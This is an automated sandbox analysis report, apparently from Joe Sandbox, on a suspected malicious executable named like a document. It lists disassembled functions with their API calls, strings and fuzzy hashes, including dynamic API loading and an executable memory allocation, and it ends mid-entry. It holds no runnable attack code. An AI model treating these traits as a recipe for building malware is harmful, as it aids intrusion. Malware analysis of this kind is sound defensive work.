Opcode Fuzzy Hash: 595c7f7829b32dfe5847fe996b7c642486c86c7481980136bfc19f631a7ee633
Instruction Fuzzy Hash: 7B21C531611118BFDF158F54CC85FAB3BAAEF89794F11C125FA085B190C6799C5287A0

Function 0077A217 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0077A27B
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 0077A290
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0077A29D

Strings

msctls_trackbar32, xrefs: 0077A252

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 5264b7296bbb624508843ebbcb2a4fa972c27fe93b3814304d7aa4b2acdb30a1
Instruction ID: 5463c28c00c2227e2dc27f7562b927cb071ae81140310d8ea32a9ff2efcf3ea9
Opcode Fuzzy Hash: 5264b7296bbb624508843ebbcb2a4fa972c27fe93b3814304d7aa4b2acdb30a1
Instruction Fuzzy Hash: 4211E771200308BAEF205F65CC46FAB3B68FFC9B94F128118FA45A6091D276A851DB60

Function 00732F5F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize), ref: 00732F79
GetProcAddress.KERNEL32(00000000), ref: 00732F80

Strings

RoInitialize, xrefs: 00732F68
combase.dll, xrefs: 00732F74

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: ad07d32d238b9c6d0c50a48cf6b404505990e199b64528bc909bd3d7d54dd298
Instruction ID: 94933820c3b3d51a17632b146850ca4a899432ace1c68a875276e7a0a1a5796f
Opcode Fuzzy Hash: ad07d32d238b9c6d0c50a48cf6b404505990e199b64528bc909bd3d7d54dd298
Instruction Fuzzy Hash: 14E01A70695309AAEF606FB0ED49B193775F704B46F00D026B102D10A0DBBE4851DF4C

Function 00733034 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00732F4E), ref: 0073304E
GetProcAddress.KERNEL32(00000000), ref: 00733055

Strings

RoUninitialize, xrefs: 0073303D
combase.dll, xrefs: 00733049

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 51d2dd19d66e966e1d99ea0a207616c810fbfa9f2b26c04efe6a7e7501c62656
Instruction ID: fd446534654ecc3695c0ea18a780ef378f195d361888774fa330d63ddf300e8b
Opcode Fuzzy Hash: 51d2dd19d66e966e1d99ea0a207616c810fbfa9f2b26c04efe6a7e7501c62656
Instruction Fuzzy Hash: D6E0B6B0686309ABEB305F61FE0DB193B75B704746F10902AF109D20B0EBBE89508B5C

Function 0078BA51 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0078BA58
__swprintf.LIBCMT ref: 0078BA8C

Strings

WIN_XPe, xrefs: 0078BACB
%.3d, xrefs: 0078BA66

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 49549a032272fd8ffc3ad708b68c6b7be92a3436fd7d30e36d5a011fb9dc2af8
Instruction ID: f541cbe8ffe61e86fb243f3093a14420814f74ee4ae721512232a2de3597f654
Opcode Fuzzy Hash: 49549a032272fd8ffc3ad708b68c6b7be92a3436fd7d30e36d5a011fb9dc2af8
Instruction Fuzzy Hash: 03E0627188812CEACB58E7909D569BA737CBB04700F54C497B916D1045D73D9B54AB13

Function 007720F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,007720EC,?,007722E0), ref: 00772104
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00772116

Strings

GetProcessId, xrefs: 00772110
kernel32.dll, xrefs: 007720FF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: 83344a4b78c9ef2b0aeae18aa61ed9ee4c8e04fe79aca5e8fb12ed95adba46ba
Instruction ID: 6f73bc6b631da317ff2dce3837bd776c85a22868a379b87005d57a38369af7c4
Opcode Fuzzy Hash: 83344a4b78c9ef2b0aeae18aa61ed9ee4c8e04fe79aca5e8fb12ed95adba46ba
Instruction Fuzzy Hash: 1CD0A7755403169FDB306F60F80DB4237D5BB04300B11C81EE75DD2256D77CC882CA14

Function 0072E6E3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0072E6D9,?,0072E55B,007ADC28,?,?), ref: 0072E6F1
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0072E703

Strings

IsWow64Process, xrefs: 0072E6FD
kernel32.dll, xrefs: 0072E6EC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 8d3deef1624b61439a11214b42ed73757fc0be80c9dcd71edebf31a965693f4f
Instruction ID: 3b51b84856222bf504b8aad1ef4fc0126d14a0f1cd604ddd3ad4f73b56ec98c3
Opcode Fuzzy Hash: 8d3deef1624b61439a11214b42ed73757fc0be80c9dcd71edebf31a965693f4f
Instruction Fuzzy Hash: EAD052B54403228AD7302B24FC4CA833BE9AB04300B11842EE495A2262DAB8C8828A14

Function 0072E6A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0072E69C,74DF0AE0,0072E5AC,007ADC28,?,?), ref: 0072E6B4
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0072E6C6

Strings

GetNativeSystemInfo, xrefs: 0072E6C0
kernel32.dll, xrefs: 0072E6AF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 934fa591c345569d60d123c4970fdaf9e0f0f710138be5ef07eb50e019a88f0a
Instruction ID: 4fac46030bf27cb0b41a74e52802ba3ceeda9bee232f3b076ee203a146e3f8ec
Opcode Fuzzy Hash: 934fa591c345569d60d123c4970fdaf9e0f0f710138be5ef07eb50e019a88f0a
Instruction Fuzzy Hash: 27D0A7754403228FD7306F31F80CB4237D5AB24701B11A41EE445E2160D77CC8C18618

Function 0076EBB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0076EBAF,?,0076EAAC), ref: 0076EBC7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0076EBD9

Strings

GetSystemWow64DirectoryW, xrefs: 0076EBD3
kernel32.dll, xrefs: 0076EBC2

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 4b5eaacb9170894a4fcd78f9770e9fd376296e82435afb06eb69cd8113018b3b
Instruction ID: a79ef5af2e491933d1a19234f725379b65c208c09be71eb12b0f24cbb5e4d60d
Opcode Fuzzy Hash: 4b5eaacb9170894a4fcd78f9770e9fd376296e82435afb06eb69cd8113018b3b
Instruction Fuzzy Hash: 19D05EB94443138BD7301F30A848F4137D5AB04304B21C41EE85A92150DA78DC818624

Function 0075137B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,0075135F,?,00751440), ref: 00751389
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 0075139B

Strings

oleaut32.dll, xrefs: 00751384
RegisterTypeLibForUser, xrefs: 00751395

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: 3455d7b5cf1a082b4ab46769d45f8fcebfa227842271ab9a887c534c83e48844
Instruction ID: 18b3ea717542cb8ec65c2b90a79cef23bdec32585bf778c1b7c5c5432e8517b1
Opcode Fuzzy Hash: 3455d7b5cf1a082b4ab46769d45f8fcebfa227842271ab9a887c534c83e48844
Instruction Fuzzy Hash: 75D0A7728403129FD7300F24F808BC137D6AF04306F05C41EE885D2550DABCCCC49714

Function 007513A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00751371,?,00751519), ref: 007513B4
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 007513C6

Strings

UnRegisterTypeLibForUser, xrefs: 007513C0
oleaut32.dll, xrefs: 007513AF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: 159a2649dd273bf3995e0e6b04b048aa3b44821bd855dc333f3bbb84f2b194e0
Instruction ID: 7071091100d395837b188d9283aec8a931738110b34283ae9656ac35a23fa7b9
Opcode Fuzzy Hash: 159a2649dd273bf3995e0e6b04b048aa3b44821bd855dc333f3bbb84f2b194e0
Instruction Fuzzy Hash: 1BD0A9B28403169FD7300F24F808B8237EAAF4030AF01842EE895D2660DAFCC885CB18

Function 00773ACC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00773AC2,?,00773CF7), ref: 00773ADA
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00773AEC

Strings

RegDeleteKeyExW, xrefs: 00773AE6
advapi32.dll, xrefs: 00773AD5

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: db0ab0e171b1a4e5cd3b4e1ff630f6fafb614c55444b2aee2efcb93fe74e45f8
Instruction ID: a71b853d05eeb1f5871716e57586afe5789532bc754005f42d0ce554013cce1d
Opcode Fuzzy Hash: db0ab0e171b1a4e5cd3b4e1ff630f6fafb614c55444b2aee2efcb93fe74e45f8
Instruction Fuzzy Hash: 67D052B14403138EEB208B20A80EB4237E9AB11304B02C42EE499A2260EAB8C9808A18

Function 0071AA70 Relevance: 6.3, APIs: 4, Instructions: 300COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,00000001,00000000,00000000,?,?,00000000,?,?,00766AA6), ref: 0071AB2D
_wcscmp.LIBCMT ref: 0071AB49

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharUpper_wcscmp
String ID:
API String ID: 820872866-0
Opcode ID: 7ec9617cf4e5fd88a8adcf60ea611c80752bd86d3a934d35e6251a4e25338ee6
Instruction ID: 9a9bfa7201ac2bcd7eb70957fe057a5c39ffddbb8e112a0d9c99fee6191ba593
Opcode Fuzzy Hash: 7ec9617cf4e5fd88a8adcf60ea611c80752bd86d3a934d35e6251a4e25338ee6
Instruction Fuzzy Hash: 10A1187070110BEBDB15DF68E985AADB7B1FF44310F64816AEC16832D0EB3898B1C796

Function 00770D01 Relevance: 6.3, APIs: 4, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00770D85
CharLowerBuffW.USER32(?,?), ref: 00770DC8

Part of subcall function 00770458: CharLowerBuffW.USER32(?,?,?,?), ref: 00770478

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00770FB2
_memmove.LIBCMT ref: 00770FC2

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 17149999b68f34682d0d485472a1763594870f5a6577bcce9aa81b84dce01cfc
Instruction ID: 48a492967df6889f72730690a3513fbb85b1fd42a0caf5df9a399bcff4578f68
Opcode Fuzzy Hash: 17149999b68f34682d0d485472a1763594870f5a6577bcce9aa81b84dce01cfc
Instruction Fuzzy Hash: CFB17A71604300DFCB14DF28C88496AB7E4EF89754F14886EF8899B352DB79ED46CB92

Function 0075CC82 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 007141A7: _fseek.LIBCMT ref: 007141BF

Part of subcall function 0075CE59: _wcscmp.LIBCMT ref: 0075CF49
Part of subcall function 0075CE59: _wcscmp.LIBCMT ref: 0075CF5C

_free.LIBCMT ref: 0075CDC9
_free.LIBCMT ref: 0075CDD0
_free.LIBCMT ref: 0075CE3B

Part of subcall function 007328CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328DE
Part of subcall function 007328CA: GetLastError.KERNEL32(00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328F0

_free.LIBCMT ref: 0075CE43

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 30d15ad93e048db68417a13e41db7528ee362282cc2eea407e49c552a100afb3
Instruction ID: 9a861005ad4eb68eae557d6a640e081256943aa09133f9c7acd0cb3f61941e49
Opcode Fuzzy Hash: 30d15ad93e048db68417a13e41db7528ee362282cc2eea407e49c552a100afb3
Instruction Fuzzy Hash: D9514AB1D04218EFDB159F68CC85BEEBBB9BF08300F1000AEB659A3291D7755A848F59

Function 0077C2E7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(01788400,?), ref: 0077C354
ScreenToClient.USER32(?,00000002), ref: 0077C384
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 0077C3EA

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 3cc6c0a59f04025978e974b37b9ce6c5a52f21062aeac324ec956e4c7dbdc558
Instruction ID: 41e86b3294201882d9586546cc41f31eb5b2fb4d911542d0b97cad2055a4ec99
Opcode Fuzzy Hash: 3cc6c0a59f04025978e974b37b9ce6c5a52f21062aeac324ec956e4c7dbdc558
Instruction Fuzzy Hash: 69516171A00204EFCF21DF68D880AAE7BB5BB493A0F20C559F9299B291D774DD41CB51

Function 0074D206 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0074D258
__itow.LIBCMT ref: 0074D292

Part of subcall function 0074D4DE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0074D549

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0074D2FB
__itow.LIBCMT ref: 0074D350

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
